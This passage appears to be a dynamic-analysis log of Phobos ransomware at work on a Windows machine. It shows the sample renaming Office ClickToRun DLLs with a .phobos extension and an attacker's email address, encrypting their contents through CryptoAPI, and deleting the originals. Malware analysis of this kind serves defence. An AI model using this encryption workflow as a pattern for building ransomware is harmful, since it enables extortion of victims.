SetEvent (hEvent=0x298) returned 1 [0132.843] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.843] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3144288) returned 1 [0132.843] CloseHandle (hObject=0x2b4) returned 1 [0132.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0132.843] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0132.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0132.844] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.845] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=4677216) returned 1 [0132.845] CloseHandle (hObject=0x2b4) returned 1 [0132.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0132.845] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0132.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.845] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0132.846] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.846] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3177152) returned 1 [0132.846] CloseHandle (hObject=0x2b4) returned 1 [0132.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0132.846] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0132.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.847] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0132.847] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.847] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9330784) returned 1 [0132.847] CloseHandle (hObject=0x2b4) returned 1 [0132.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0132.847] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0132.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.848] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0132.849] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.981] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=61024) returned 1 [0132.981] CloseHandle (hObject=0x2f4) returned 1 [0132.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0132.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.981] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.981] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.007] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753118) returned 1 [0133.007] CryptSetKeyParam (hKey=0x753118, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.007] ReadFile (in: hFile=0x2f4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xee60, lpOverlapped=0x0) returned 1 [0133.017] CryptEncrypt (in: hKey=0x753118, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xee70, dwBufLen=0xee70 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xee70) returned 1 [0133.017] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xee70, lpOverlapped=0x0) returned 1 [0133.019] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752c58) returned 1 [0133.019] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.019] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0133.019] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.019] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0133.019] CryptDestroyKey (hKey=0x753118) returned 1 [0133.019] CloseHandle (hObject=0x2f4) returned 1 [0133.019] CloseHandle (hObject=0x2b4) returned 1 [0133.019] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0133.020] SetEvent (hEvent=0x298) returned 1 [0133.020] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.021] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=996568) returned 1 [0133.021] CloseHandle (hObject=0x2b4) returned 1 [0133.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0133.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.021] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.021] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.022] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753158) returned 1 [0133.022] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.022] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xf34d8, lpOverlapped=0x0) returned 1 [0133.105] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xf34e0, dwBufLen=0xf34e0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xf34e0) returned 1 [0133.106] WriteFile (in: hFile=0x2f4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf34e0, lpOverlapped=0x0) returned 1 [0133.120] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752f18) returned 1 [0133.120] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.120] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0133.120] CryptDestroyKey (hKey=0x752f18) returned 1 [0133.120] WriteFile (in: hFile=0x2f4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0133.120] CryptDestroyKey (hKey=0x753158) returned 1 [0133.120] CloseHandle (hObject=0x2b4) returned 1 [0133.120] CloseHandle (hObject=0x2f4) returned 1 [0133.120] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0133.127] SetEvent (hEvent=0x298) returned 1 [0133.127] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.127] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=390320) returned 1 [0133.127] CloseHandle (hObject=0x2f4) returned 1 [0133.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0133.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.128] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.128] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.128] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752d18) returned 1 [0133.128] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.128] ReadFile (in: hFile=0x2f4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x5f4b0, lpOverlapped=0x0) returned 1 [0133.170] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x5f4c0, dwBufLen=0x5f4c0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x5f4c0) returned 1 [0133.171] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x5f4c0, lpOverlapped=0x0) returned 1 [0133.180] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x7530d8) returned 1 [0133.180] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.180] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0133.180] CryptDestroyKey (hKey=0x7530d8) returned 1 [0133.180] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0133.180] CryptDestroyKey (hKey=0x752d18) returned 1 [0133.180] CloseHandle (hObject=0x2f4) returned 1 [0133.180] CloseHandle (hObject=0x2b4) returned 1 [0133.180] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0133.183] SetEvent (hEvent=0x298) returned 1 [0133.183] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.184] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=88752) returned 1 [0133.184] CloseHandle (hObject=0x2b4) returned 1 [0133.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0133.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.184] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.184] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.184] CloseHandle (hObject=0x2b4) returned 1 [0133.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0133.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 